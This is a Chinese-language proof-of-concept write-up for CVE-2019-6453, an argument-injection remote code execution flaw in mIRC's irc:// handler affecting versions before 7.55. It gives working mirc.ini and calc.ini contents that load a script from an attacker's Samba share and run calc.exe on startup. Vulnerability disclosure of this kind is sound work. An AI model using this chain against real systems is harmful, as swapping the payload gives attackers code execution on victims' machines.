
CVE-2019-6453 的 calc 证明
我们在 mIRC 的 irc:// URI 协议处理器中发现了一个远程代码执行漏洞。由于 mIRC 没有使用任何类似于 -- 的分隔符来标记参数列表的结束,攻击者能够通过 irc:// 链接向 mIRC 传递参数,并通过加载来自攻击者控制的 Samba 文件服务器上的自定义 mirc.ini 文件来执行任意代码。请注意,ircs:// 的作用方式相同。
该 PoC 需要三个文件:mirc.ini、calc.ini 和 poc.html。假设攻击者一端运行着一个 Samba 文件服务器。为了示例说明,以下代码假设文件服务器运行在主机 127.0.0.1 上(即在实际测试时,请将以下文件中的 127.0.0.1 替换为你自己服务器的地址)。
mirc.ini 是一个自定义配置文件,应位于文件服务器的 C:\mirc-poc\mirc.ini 路径下。
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini 是一个远程脚本文件,应位于文件服务器的 C:\mirc-poc\calc.ini 路径下。
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
只要 mIRC 被设置为 irc:// URI scheme 的默认处理程序,并且浏览器没有对 payload 进行编码,访问 poc.html 即可生效。根据浏览器和你的配置不同,你可能仍然会看到一个提示框(Firefox 浏览器不会出现)。

该 PoC 适用于 mIRC <7.55。
你可以在 Edge 42.17134(最新的预览版本)和 Firefox 64.0.2(最新发布版本)上触发该 PoC。 该 PoC 在 Chrome 上无法工作,因为 Chrome 处理 URI 协议的方式不同(URI 在传递给应用程序之前会被编码)。